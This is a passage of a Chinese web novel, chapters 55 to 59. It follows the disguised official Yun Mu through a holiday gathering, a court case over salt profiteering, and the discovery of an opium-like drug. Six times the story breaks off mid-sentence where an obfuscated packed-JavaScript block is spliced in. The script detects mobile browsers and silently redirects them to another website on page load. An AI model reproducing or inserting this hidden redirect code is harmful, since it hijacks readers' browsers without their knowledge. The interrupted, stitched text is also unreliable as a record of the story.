;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632404|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那也和他们脱不了干系。” “大人,蒋参军他们求见。” 蒋其?他们怎么来了? “把人带去正院,我稍后就到。” 沈聿明撇撇嘴,快要走到正院时,他突然停住:“你先去吧,我去看看十五。” “大人,听说你遇刺受伤,没事吧?” 云暮隔着衣衫抚上手臂的绷带:“无事,不过是擦破点皮,你们怎么来了?” 宋枫见他无碍,心里的大石终于落地:“听冯章说方才的飞云令是大人放的,属下赶到时,他说您已经回府了,我们放心不下,特意过来看看。” 从涿州回来后,宋枫见云暮的面屈指可数,但他知晓云暮最厌恶别人直勾勾地盯着他看,眼神不敢太过放肆,蒋其轻咳了一声。 “大人。” 十五小心翼翼地捧着碗,迈着小碎步出现在正厅,身后还跟着沈聿明。 “这是十五亲自给大人煮的,安叔说吃完就不痛了。” 宋枫是云暮 捡回来的,金吾卫上下皆知,这么多年了,也没见再捡过其他人,所有人都当他是云暮的例外,直到近日听到的一个传闻。 朝沈聿明行完礼后,蒋其扫了宋枫一眼,果不其然看见他悄然握起的双手。 宋枫艰难开口:“大人,他是?” 云暮勾唇浅笑,接过十五手中的汤碗:“他啊,前阵子捡回来的,如今和我一起住在云府。” “十五,去和兄长们问个好,往后你是要和他们学武的。” 十五乖巧地行礼问好,蒋其笑呵呵地说道:“兄长今日来得匆忙,没能准备见面礼,下次再给你补上。” 轮到宋枫时,他冷着一张脸。 十五怯怯地看着不苟言笑的宋枫,小跑到云暮身边,抓着他的手臂只露出半张脸:“大人,宋枫兄长是不是不喜欢十五?十五怕。” 宋枫怒视十五,结果十五又害怕地往后躲了躲,他气得快要吐血。 在他们看不见的地方,十五朝沈聿明露出一个狡黠的笑容。 第五十五章 宋枫心悦你 装可怜博同情的事做多了,宋枫越看越怀疑十五和他是一路人。 云暮不知他们之间暗潮汹涌,只淡淡地喊了一声:“宋枫。” 宋枫满不情愿地哼了一声。 姗姗来迟的冯章打破了这尴尬的气氛,“大人,属下来讨碗饺子吃!” 厅内不同寻常的气氛让他止住了脚步,“这是怎么了?难不成是没吃到饺子在生闷气?” 云暮笑骂了一句:“再胡诌等会儿你就坐着看我们吃。” 一碗碗饺子端了上来,果脯也铺满了桌子,沈聿明和十五一左一右坐在云暮身边,宋枫暗自咬牙。 云府也就只有逢年过节才会这般热闹,安叔笑得合不拢嘴。 十五突然啊了一声,吐出了一枚铜钱,“大人,十五吃出铜钱了。” 云暮嗯了一声,从嘴边拿出了一枚铜钱。没多久,所有人陆陆续续都吃到了铜钱。 安叔夸张地惊呼了一声,云暮笑睨他,假装不知道他的小动作。 宋枫几口吃完碗里的饺子,拒绝了安叔再来一碗的提议,噔噔噔地跑了出去,又噔噔噔地回来。 云暮随口问道:“去做什么了?” 宋枫摇了摇还沾着水的手指:“秘密,晚些时候再告诉大人。” 吃饱喝足后,见时候还早,冯章提议:“不如打马吊?就拿方才吃出来的铜钱做筹码。” 宋枫第一个不同意:“哪有人拿福气做赌注的?换一个。” 但今夜他们轮值,除了佩剑,什么都没有带,一时之间犯了难。 云暮让安叔取了些碎银来:“就这些了,再多一点,那就是聚众赌博了,别忘了王爷还在这里。” 沈聿明闭上双眼,捂住耳朵:“本王什么都没看见,也什么都没听见。” 戍时末,没想到筹码最多的是沈聿明,云暮啧啧称奇:“没想到王爷还有这等本事。” 沈聿明拢了拢面前的碎银:“不过是打马吊,下次再玩些别的,本王也一样能赢。” 他微微仰起下巴,脸上的得意怎么都掩饰不住,让云暮想起之前那只抢到鱼后在她面前炫耀的白猫,手痒得想挠一挠沈聿明的下巴。 她把手背在身后,轻咳了两下:“水云间快要放烟花了,咱去院中观赏?” 东市的水云间距离云府仅两条街,在云府正好能把烟花尽收眼底。 十五看了看房顶,扯了扯云暮的衣袖:“大人,十五想去房顶上看。” 坐在四四方方的院中看确实有些不得劲,云暮点头:“那便上去吧。” 云暮的手上有伤,沈聿明怎会让她带人上去,他朝十五伸手:“十五,过来,本王带你上去。” 云暮随意找了一块空地坐下,就见宋枫紧随其后,坐在了她身边。 见他不说话,云暮终于开口了:“还在生气?” 宋枫摇摇头,又点点头:“有点。” 云暮看了一眼因恐惧而紧紧抓住沈聿明的十五,她摇头拒绝了沈聿明发出的求助信号,眼底沁出笑意:“十五也是个可怜人,无父无母,若非陶妍,他也不用离开他娘。” 宋枫顺着他的目光看去,无端想起自己的身世,他何尝不是被人逼着离开阿娘。 随着咻咻的声响,烟花一朵接着一朵在空中炸开,照亮了附近的街道,也亮了云暮的脸庞。 有道是“灯树千光照,花焰七枝开”。①

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632405|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “大人,这个给你。” 宋枫的手心里躺着一枚干净的铜钱,云暮认出是他吃出来的那一枚,所以他刚才是去洗铜钱去了? “这是你的,给我做甚?” 宋枫半玩笑半认真道:“大人命途多舛,属下把福气分你一些,愿大人今后事事顺遂。” 沈聿明终于带着十五挪到云暮身边,见状,他阴阳怪气地哟了一声:“云大人有这么好的属下,真是好福气。” 宋枫抬头,视线正好落在沈聿明的手上,对方有意无意地拨弄着腰间的玉佩,宋枫定睛一看,眸色暗了几分。 他跟在云暮身边这么久,怎么会认不出那是云暮的东西?带了这么多年的东西,就轻易给了才认识几个月的人? 气氛太过紧张,蒋其几人悄无声息地往远处挪,打算远离战场,冯章顺手薅过十五:“那边看得更清楚些,兄长带你去看。” 这两人一对上果然没有好事,帮谁都不好,云暮怕他们又掐起来,暗中拧了一下挑事的沈聿明。 她中了毒,手还伤着,又隔着衣服拧,对沈聿明来说,就像被一片羽毛轻挠了一下,他有些心神荡漾,在云暮要收手时,他手掌一翻,抓住了她的手。 云暮想不到沈聿明会来这一出,试图抽回手,却被他抓得更紧。这要是被人看见,她就有口难辩了。 屈指挠了挠沈聿明的掌心,示意对方松手,结果沈聿明的身体僵了片刻,抓得更紧了,云暮突然有一种好心办坏事的无力感。 暗自较劲了一会儿,沈聿明怕她伤口开裂,在她的手沾上他的温度后立马放了手。三人坐成一排,却心思各异。 这章没有结束,请点击下一页继续阅读! 第五十六章 臣要参一人 “什么?” 云暮怀疑她听岔了。 震惊,荒唐,不解……在她面上表露无遗,却独独没有了然。 知她对宋枫无意,沈聿明想笑,却怎么也笑不出来,他们对她的感情都毫不掩饰,但这个木头却看不出来。 “本王看他对你那般上心,还当他有断袖之癖呢。” 云暮白了他一眼,要是宋枫知晓,怕是要拔剑了。 宋枫对她好那是有前提的。回京城的第二年,她外出采买,机缘巧合之下救了宋枫,一份俸禄两个人花,日子着实艰难,当上中郎将后,又给了他进金吾卫的机会。 他们是患难之交,情谊自然比旁人深一些。 云暮把红绳理好:“王爷以后莫要再说这种玩笑话了,下官还要在布政坊当值,见了宋枫怪尴尬的。” “夜深了,王爷早些歇息吧。” 窗外的树褪下绿装,光秃秃地立在院中,树影张牙舞爪地映在白墙上。 半个月后,快要罢朝时,金銮殿外响起云暮疲累的声音。 “金吾卫云暮求见。” 冬日本就事少,称病不朝的梁文帝重掌大权,大臣们都闲出花了。况且金吾卫已经许久没有大动静了,见云暮求见,个个都打起了精神。 梁文帝知晓是晋州贩盐之事,还是正色道:“宣。” 云暮风尘仆仆地踏入殿中,撩开衣摆跪了下去:“皇上,臣要参一人。” “你要参谁?” “晋州知州,郑毅。” 闻言,在场之人都一脸看戏地看向郑氏家主,郑朝晖。 冬至过后没两天,云暮带着冯章和梁文帝的两个暗卫去了晋州,为的就是调查盐案。和上次微服私访不同,这次他们就算查出了证据,也没有惊动任何人。 其实前两日云暮已经回京,但为了保证万无一失,她以替皇上为贵妃何氏找生辰礼为由,派人昼夜不停赶去晋州和冯章会和。 “罪名。” 云暮一字一句道:“郑毅为官不仁,联合晋州周边州城的商人垄断盐业,哄抬盐价,谋取私利。” 此话一出,除了郑氏人,其余人都瞪大了双眼,就连一向老神在在的崔相也被挑起了兴趣。 世家之间虽有竞争,但也不乏合作。郑氏之人掌管晋城的盐区后,他们也动过歪心思,只是被郑朝晖义正言辞地拒绝了。 他还记得当日郑朝晖所言:“盐税是朝廷赋税的重中之重,所得盐利都充做军饷,军饷发不出,何人保家卫国,这等损人不利己之事郑氏不做!” 亏他还以为郑朝晖真是个正人君子,谁想也是个包藏祸心的。 郑朝晖作为郑氏家主,平日最喜的却是吟诗作画,对家中事务并不上心,只是当年他爹偏心,强行把家主之位按在他头上。 他爹还在时,他至少还做做样子,但人才闭眼,郑朝晖便把族中重任都交给庶兄郑晨阳。之后他日日和那些不得志的文人混在一块,不再过问族中事,并不知晓郑家人背着他做的事。 他手持笏板站在云暮身侧,“皇上,冤枉啊!郑家承蒙皇上信任,才得了盐引,郑家怎会做出这等大逆不道之事!” 又对云暮怒道:“云大人,还请拿证据说话,别嘴巴一张一合就把罪名推到郑家人的头上。” 如此义愤填膺,他是真不知还是在演戏? 云暮从斗篷下拿出搜罗好的证据:“各位大人都知,本官办事都讲真凭实据,怎会是污蔑。” 该说不说,郑家人做事就是谨慎,敛了这么多年的财,到今日才露出马脚。 梁文帝不过翻看了几张,怒上心头,一掌拍在案上:“郑朝晖,你好大的胆子!” 郑朝晖终于慌了神,跪倒在地:“皇上,臣……臣真的不知此事。” 王明远在人群里凉凉开口:“若官员犯错,只用一句不知情就能逃罪,大梁岂不乱了套?” 梁文帝的怒气都压不住,可见郑家贪的可不是一星半点,王明远心里冷笑连连。当初他和其他几家一样,也想分盐利的一杯羹,但被郑朝晖拒绝了,如今不踩一脚怎么能平心头之恨? 有人开了口,有几个唯恐郑家不乱的人也纷纷附和:“郑大人,证据都摆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632406|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在陛下面前了,你还有什么可狡辩的?” …… 郑朝晖不知所措地环视四周,昨儿还和他把酒言欢,一起品鉴诗画的人,今日指着鼻子骂他辜负陛下信任,拿着百姓的血汗钱花天酒地。 又见一同入朝为官的郑氏子弟拼命给他使眼色,他如今还有什么猜不到的? 他颓然地跪坐在地,不再辩解。 “金吾卫何在?” 金吾卫手持长枪闯入殿中。 “把人压入大牢,听候发落。” “云卿查案有功,赏。” 布政坊的书案后,云暮伏在桌上,捂嘴咳嗽,要是梁文帝再不放她离宫,她就要在勤政殿咳死过去了。昔日余毒未清,她就率人去了晋州,一路奔波,连服药都忘了。 为了尽快到达晋州的平城,他们轻装简行,谁知平城比京城冷了数倍不止,才到平城没两天,风寒又找上门了。 为了不误事,各种珍贵的汤 药跟不要钱似的往下灌,强撑着查完真相,才好了点又启程回京。 冯章怕她晕在半路,想把这事揽过去,云暮没允。她再不出现在人前,只怕惹人生疑。 宋枫端着治风寒的药,听到云暮的咳嗽声,脚下的步子迈得更大了。 和云暮相处久了,他一眼就看出云暮又着了风寒,好在布政坊一直被有药,他忙去煎了一副药。 药汤滚烫,他一路走来不停地搅弄汤勺,到云暮跟前时,正好能入口。 云暮屏气饮尽,“炉子生热些。” 只给两扇窗牖留了条缝,其余的门窗都关得严严实实,云暮又紧了紧狐皮斗篷,从骨头里散出的冷意才消了几分。 药里加了安神草,布政坊又是熟悉的地方,半个月没能好好休息的云暮再也撑不住了。 沈聿明来时,看到的就是一个伏在桌上熟睡的云暮,细白的手指从斗篷里探了出来,不知在外待了多久。 他无声地走到云暮身边,想把她的手塞回斗篷中,云暮察觉到手背覆上一层暖意,鼻息间满是雪松味,她抬手蹭了蹭,抓住了热源。 第五十七章 送荷包 怕扰了她安睡,沈聿明想要回握却不敢有动作,就连呼吸都放轻了,缺了一个口子的胸腔此刻也被填满。 他贪婪地看着云暮,想把这半个月的份都给补上,直至云暮眼皮微动,他才把轻柔地挣脱云暮的束缚。 凉意钻进手心,云暮下意识地握住手,不想抓了个空。她茫然地睁开双眼,看着空荡荡的手心,又闭上了眼。 “醒了?” 还未完全清醒的云暮艰难地睁开双眼,目光移到榻上,半晌,她终于直起身子,揉了揉太阳穴。 “王爷?” 沈聿明嗯了一声,“才来了不到一盏茶的时间,看你满脸倦色,就没喊你。” 几句话把她想问的都说了出来,云暮拍了拍脸醒神,心想,她的表情有这么明显? “过来把药喝了,太医院才熬好的。” 药罐在炉子是煨着,药汤倒出时还冒着热气。 她这病都快好了,这些人怎么跟生了火眼金睛一般,一个个都看出她病了。 “王爷怎么把太医院的药罐顺过来了?怕下官喝不上药吗?” 沈聿明把碗往她的方向推了推,“是,有些人病了都不知道吃药,本王自然要亲自监督。” 云暮双手捧碗,热意从指尖烫到心尖,“王爷怎么知道?” 沈聿明手握成拳,伸出食指和中指,指了指他的眼睛,又隔空点了两下云暮:“本王会一直盯着你,直到你病愈。” 云暮哑然失笑,搅了搅碗中的药汤,药味随着热气飘出,她轻嗅了几下,才把药饮尽。 一人在榻上看书,一人坐在案前处理积压的文书,屋里除了木炭的哔啪声,只剩下书页翻动的声音。 宋枫提着早点回来时,看到的就是这幅恬静的画面,两人甚至同时抬头看他。 宋枫心里有种说不出来的滋味∶“见过王爷。” “大人,属下想着你没有时间用早膳,就去买了些早点。” 喝了两碗药,云暮装了一肚子的水,现下是什么都吃不下,“先放着吧,等会儿饿了再用。” 沈聿明突然伸手摆弄了一下桌上的食盒,余光瞥着宋枫,对方的视线果然被引了过来。 宋枫自嘲一笑,郁郁离开。 桌上的公文越批越少,沈聿明还不动如钟,云暮不禁问道:“王爷今日这么闲?” “许是冬日倦怠,他们也懒得犯事了吧,怎么,本王在这里碍你眼了?” 宋枫才回来,她就要把他赶走?想得到是挺美。 又颐指气使道∶“你等会儿和本王去接十五,明明人是你捡回来的,如今怎么都是本王在养?” 刀子嘴,豆腐心。 云暮对付他有自己的一套,于是随口夸了他两句:“王爷英明神武,照看一个黄口小儿自然也是手到擒来,待此间事了,下官定在水云间设宴感谢王爷。” 沈聿明被她哄得身心通畅,明知这是对方拿捏他的手段,他还是自甘沉沦。 一个上午飞逝过去,临出门前,云暮突然被沈聿明叫住,“别动。” 一个绣着云纹的荷包出现在了她的腰间。 云暮伸手捏了捏鼓囊囊的荷包,“这是什么?” “安神的药草。” 药草之下,还有一个圆形的东西。 “还有呢?” 沈聿明率先走了出去:“没有了!快走,别让十五等急了。” 夜晚,云暮翻来覆去睡不着,手指在枕头下摸到了一枚冰冷的铜钱,想了想,又下床拿了沈聿明送的荷包。 她把自己的那枚铜钱也一并放了进去,两枚铜钱相碰,发出清脆的声音,床头幽幽的药香很快就把她引入梦境。 第二日早上,程文博派人把郑家的卷宗给云暮送来。郑家一案由大理寺主理,云暮只需从旁协助即可。 郑家在京当官者不过几人,嘴也不严,才下了狱就把他们知道的都吐了个干净,但他们知道的也不过皮毛,重头戏还得郑晨阳他们到了京城才能登台表演。 勤政殿里,贵妃又携梁承熙来面圣。云暮不进宫的这段时间,她一直等着看沈聿明的笑话,但他每次都能化解皇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632407|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上故意抛给他的难题。 反倒是梁承熙,几人一同上下朝,他却毫无建树,等太子禁足一解,朝堂上还有她皇儿的位置吗? 原打算在给梁文帝的吃喝里加些米嚢花进去,但黄如海看得实在是严,但凡入口的都要检查一遍。也不知他们从哪里找来的人,鼻子比狗还灵,只需闻一闻就能轻易认出是否有米嚢花。 怕被梁文帝查出,她只能暂时作罢。 云暮拿着供词到勤政殿时,看见贵妃正坐在榻上和皇帝有说有笑,见到她后,罕见地没有出言讽刺。云暮述职出来后,她还在勤政殿外等着。 “多日不见,云大人的气色看起来比从前好了不少。” 病去如抽丝,她的脸色比起从前,白得跟鬼一样,贵妃这求人的态度,还真是……特别。 云暮还是一如既往地冷淡:“娘娘言重了。” 贵妃压下心头的恼怒,硬是挤出了一抹难看的笑容,就算把脸丢尽,她也得让对方在国事上多提点承熙。 “云大 人留步,先前本宫对大人多有误会,在这里和大人赔个不是,红袖。” 先前讨好王全多了,红袖还和从前讨好王全一样,在离云暮只有半步之遥时,脖颈突然被捏住,红袖手中的金瓜子掉了一地。 “还望娘娘恕罪,臣不喜和旁人靠得太近。” 谁讨好皇帝身边的人不是悄悄的?偏偏云暮把这事在勤政殿外的太监和侍卫面前挑开,让她好没脸! 几人动静不小,惊动了里头的梁文帝,“何事如此喧哗?” 云暮借口回话,又进了勤政殿:“臣不小心冲撞了贵妃。” 云暮才替他办成事,就算故意冲撞,梁文帝也不会指责他半句:“贵妃?她还在外面。” 云暮不忘给贵妃上眼药∶“是,贵妃似乎一直在等臣。” 梁文帝嗤笑,他如何不知贵妃的想法,承熙不把心放在国事上,怎会有所长进?人到中年,怎么还变蠢了? “罢了罢了,既是无意,朕等会儿让黄如海走一趟替你赔罪便是。” 第五十八章 江南来信 隆冬腊月,冬日的暖阳穿过厚重的云层,金光洒落白雪,枯枝上的积雪悄悄消融,水滴挂在枝头,闪烁着光彩。 沈聿明漫不经心地把玩着青花茶盏,自从卢家倒台,赵杰飞死后,胡人就一直没再联系他。他私下去过当年胡人藏匿之所,却人去楼空,只有满屋的蛛网和灰尘。 云暮称病暗中外出之时,太子的禁足未解,梁承熙手段稚嫩,剩下的几个弟弟也是没一个能打的,唯有他得父皇青睐。 且他带人查获了一批私底下交易的米嚢花,梁文帝对他更是夸赞连连,赏赐不断。 手握实权,得崔相幼女芳心,又与天子近臣交好,他如今的地位在胡人眼中水涨船高,自然也有了与他们合作的资格。 昨夜回府,一封没有落款的书信被箭羽钉在车壁上,他只看了一眼就猜出是胡人所送,许久没有和他们打过交道了,还真是有些期待。 一短三长的敲门声响,沈聿明晾了他好一会儿才懒懒道:“进。” 来人长相普通,穿的灰褐色长袍,扎进人堆里就让人记不清的普通长相,把沈聿明气笑了。 第一次好歹派了个赵杰飞来,这次又是什么阿猫阿狗? 他轻蔑地说道:“本王好歹是公主之子,你主子没有诚意,那本王也没有和你们谈下去的必要了。” 说罢,他起身就要离开。 被人看不起是常有的事,但干他们这行,最希望的就是没人能记住他们的脸,孔德龙拱手行了一礼:“王爷,倒也不是主子信不过,只是有卢家的前车之鉴,主子不得不警惕。” 沈聿明像是被踩了尾巴的猫,猛然转身,恼怒道:“你们怀疑卢家之事有本王的手笔?即如此,又为何邀本王相见,是存心戏耍本王?” 孔德龙赔笑道:“王爷要借云暮之势回京,需要卢家当投名状无可厚非,主子怎会怪罪?” 沈聿明眼底的怀疑未消,“当真?那为何迟迟不来寻本王?” 孔德龙委婉地说道:“彼时王爷才回京,根基不稳,再贸然派人来寻,恐您会惹皇上猜忌,这才不敢惊扰。” 大言不惭,这种话也就骗骗那些蠢货了。 孔德龙笑着请他上座:“王爷,不如坐下细说?” …… “大人,江南那边来信了。” 云暮接过安叔拿来的信,边打开边道:“许是师兄送来的,也不知师父归家了没。” 云家出事那年,安叔重病缠身,京城的大夫无一人能医,他无父母,亦无妻儿,孑然一身,躺在了离乱葬岗不远的地方等死。 彼时还不是她师父的辛百草采药路过,见他的腹部还有起伏,就问了一嘴,最后花了不少名贵之药才把安叔的命从阎王手里夺回,也没收安叔一枚铜板。 后来师父带她和师兄离京,安叔还为他们践行。 回京前一天,师父告诉她一个住处:“若是遇到难处,可去此处找安叔。” 她出宫后,梁文帝在她身边安插了几个眼线,她找借口拔掉后,立马请了安叔来给她当管家。 安叔愁着张脸:“西北荒凉,辛大夫也没让人捎封信来,真叫人担心。” “师父走南闯北惯了,安叔不用太过忧心。” 云暮一目十行看完:“师兄要来京城?” 师兄季川入门比她早,若师父要出远门,便把师兄带来京城请安叔看顾一二,安叔把师兄当成他的孩子一样疼。 她入门后,师父怕她身份暴露,不敢送她去京城,只能少出远门,偶有几次也是把他们带在身边。 细细算起,她和安叔已经快三年未见过师兄了。 闻言,他喜得眼都眯成了一条缝:“当真?小川何时能到?他可要住在府上?” 云暮眼底也漾着笑意,把信递给他:“过几日就要到了,说是来买几味药,江南的药铺都供不上货,只能来京城碰碰运气。” 安叔把信翻来覆去看了好几遍:“他想要说一声,老奴就能把这事给他办妥帖了,何苦要冒着风雪来京城。” 嘴上嫌弃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632408|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,心里早就想着去收拾厢房出来了,云暮笑道:“就有劳安叔替师兄收拾出一间房了。” 云暮单手撑着下巴,食指在信上轻点。 鹿活草不是什么珍贵之物,在大梁各地的山林都有,尤其是江南。这个季节,江南都采不到药,北地这些光秃秃的林子更加没有了,所以买药材只是一个幌子,有什么事不能在信上明说? 五日后,郑毅等人和季川一前一后抵达京城,季川一眼就认出在城门口等着的安叔。 “安叔!” 安叔接过他手里的包袱,拍了拍他的肩:“好小子,这么久都不来京城,还当你忘了安叔和大人呢。” 季川嘴角往下撇了几分,抱怨道:“还说呢,师弟一走,师父就收拾东西出远门,把偌大一个药王谷丢给我管,我忙得晕头转向,他们倒好,一个游山玩水,一个在京城吃香喝辣。” “师弟呢?我远道而来,他怎么也不来接我!” “云大人,官盐里掺沙土是因为天寒地冻,无水灌井,盐工采不出这么多盐,下官怕皇上怪罪,这才想出了这个法子。” 言辞恳切,端着一副为盐工着想的模样。 云暮讥讽:“提盐价也是为了百姓着想吗?郑父母官?” 这四个字让郑毅臊了脸,但为了保住郑家和官职,他还是硬着头皮开脱:“大人,俗话说,物以稀为贵,盐少了,这价格自然也就起来了不是?” 云暮翻着手里的文书:“去岁六月,晋、豫二州,一斤盐四十文钱,而今年六月,盐价就涨到了七十文一斤,可为何京城附近的盐价一直稳定在三十五文一斤?” “盐商贩盐,各地价格不一,但京城的盐价却一直稳定在三十文一斤,京城山高水远,收的利竟比晋州这个盐区还少,郑毅,你作何解?” 郑毅哪知云暮把大梁各地的盐价都查了个遍,他在心里叫苦连天,只能把罪责推到盐商头上:“大人,这价格是盐商所定,下官也不知啊。” “府中那些真金白银也是凭空出现?” 第五十九章 黑疙瘩 “小暮,你终于回来了,让我好等!” 季川一见云暮,丢下手中的水壶,朝她张开双臂。 见云暮上前还想和男人拥抱,沈聿明拧着眉拉住她,他都没抱过,这人谁啊,能不能注意一下身份。 沈聿明挡在云暮身前,质问道:“他是谁?” 季川只看了一眼,就猜出了他的身份,沈聿明,当朝王爷。他心忖,此人怎么和传闻中的不太一样? 今日在府中迟迟等不到云暮,便去外边转悠了一会儿,打听到不少消息,其中就有沈聿明。 云暮还没答话,十五蹦蹦跳跳地从季川身后走出:“王爷,这是小川哥哥,小川哥哥可好了,还给十五送了蛤蟆样式的糖画!。” 一个两个都和此人这般亲近,还哥哥,沈聿明伸手捏住十五的脸:“吃吃吃,你就知道吃!” 家都要被偷了,还惦记着吃呢! 云暮总觉得这句话有些熟悉,好像在哪听过,她没有深究,给沈聿明介绍起季川。 “季川,我师兄。” 又道:“师兄,这是秦王。” 季川拱手行礼:“草民见过王爷。” 沈聿明审视着他:“之前怎么没听你说过?” 药王谷辛百草只有两个徒弟,这在大梁不是人人皆知吗?而且师兄又不在京城,无缘无故的,说这个作甚? 云暮没有接话,反倒是把季川从头到尾都细细打量了一遍,“多年未见,我都快要认不出师兄了。” “为兄看你倒是清瘦了不少,皇上没给你发俸禄,还是京城的饭菜太难吃?” 季川抬手想捏捏他的肩,手还未落下就被沈聿明打了回去,他疑惑地看了一眼沈聿明:“王爷,怎么了?” 沈聿明若无其事地把手收回:“没什么,只是方才见你手上有只蚊子。” 寒冬腊月的,耳朵都能冻掉,怎会有蚊子?但对方是王爷,他说什么就是什么。 季川转身回了花房,指着那几株只见绿叶不见花的“花”问道:“你这种的什么?” 云暮撩了撩张牙舞爪的锯齿状绿叶:“师兄可还记得米嚢花?我手上的那几颗里有几粒残留的种子,就试着种种,没想到真种出来了。” 沈聿明得意地看着季川,要是没有他,能不能种出来还不一定呢。 季川不知他是何意,只能点头微笑。 “为兄总觉得此物有些眼熟,像是在何处见过。” 宵禁悄然逼近,沈聿明被云暮扫地出门,“王爷,天色不早了,您该回王府了。” 沈聿明气得磨了磨后槽牙,晚膳时,她和季川有说有笑。从前夜深了她只会让他在云府住下,今天居然为了旁人把他赶走,都怪那个季川! 弯月隐去,萧索稀拉的几粒星点缀在夜空。 屋内,云暮和季川坐在榻上,中间摆着一盆米嚢花,季川的手边还放着一个包袱。 季川伸手摸索了片刻,最后拿出了一个纸包。剥去层层黄纸,一股刺鼻的气味钻进二人的鼻腔,很快,一个黑乎乎的东西也摆在了桌上。 “这叫黑疙瘩,最近在江南突然多了起来,师兄听人说,要是有些小病小痛,就取一小块放进烟管,抽一次就好了。” 云暮皱眉,起身从书架顶拿出一个木盒,里面的东西和季川带来的一模一样,只是没有那么黏糊了。 季川眉头紧锁∶“这……小暮,你从哪得来的?” 云暮把涿州李氏肉铺的事同他说了一遍,“这是在肉铺搜到的,但李北嘴太严,宁死不招,我猜此事没这么简单,就一直留着。” “师兄怀疑它和米嚢花有关系?” 季川点头,“从前的醉江月靠米嚢花赚了不少黑心钱,打的上能解世人一切烦恼和疲累的名头,和那些抽过黑疙瘩的人的说辞相差无几。” 米嚢花换了个样子,流到了江南,那京城呢?金吾卫日夜巡查,并未发现有人在卖这种东西,是真没有还是她没发现? 两人相处这么久,季川一眼就看出他在想什么,“没事,师兄打听过了,京 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632409|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 城目前还没有,你暂且放心。” 毕竟有卢家满门抄斩在前,沈聿明前几天端了米嚢花的窝点在后,现在还在风口浪尖,没人敢冒风险。 云暮对他感激一笑∶“师兄,你可知这黑疙瘩是从何人手中流出?” 季川摇头:“这东西在江南几乎家家都有,为兄去查了,最先是在鬼市售卖,但去了几次,都没能把人抓个现行。” “既能做到家家都有,不可能从别处运来,否则穷人家的怎么用得起,师兄你再好好想想是在何处见的米嚢花。” 季川一时半会儿也想不起来,见他困倦,就把桌上的东西都收起:“你忙了一天,先休息吧,等我想起来了再同你说。你说你好好的,在江南不好吗,非要来京城蹚浑水。你那些红颜知己当年得知你成了太监,伤心万分,眼睛都要哭瞎了。” 云暮微微挑眉,“师父没和你说过我来京城是为了何事?” 季川茫然:“怎么,你当太监还有隐情啊?” 云暮:“……是啊,为了让你成为太医院院使,师弟愿扶师兄青云志,助师兄踏雪至山巅。 ” “油嘴滑舌,师兄可不稀罕当什么狗屁院使,被拘在这四方天地不说,还要担心脑袋会不会掉,没意思。” “师兄虽不知你入朝为官是为了什么,但你若有需要,只管和师兄开口,等你事了,早些回江南吧,师兄日日对着院中的草药说话,也怪吓人的。” 京城是好地方,可里面的人大多都是披着人皮的伥鬼。 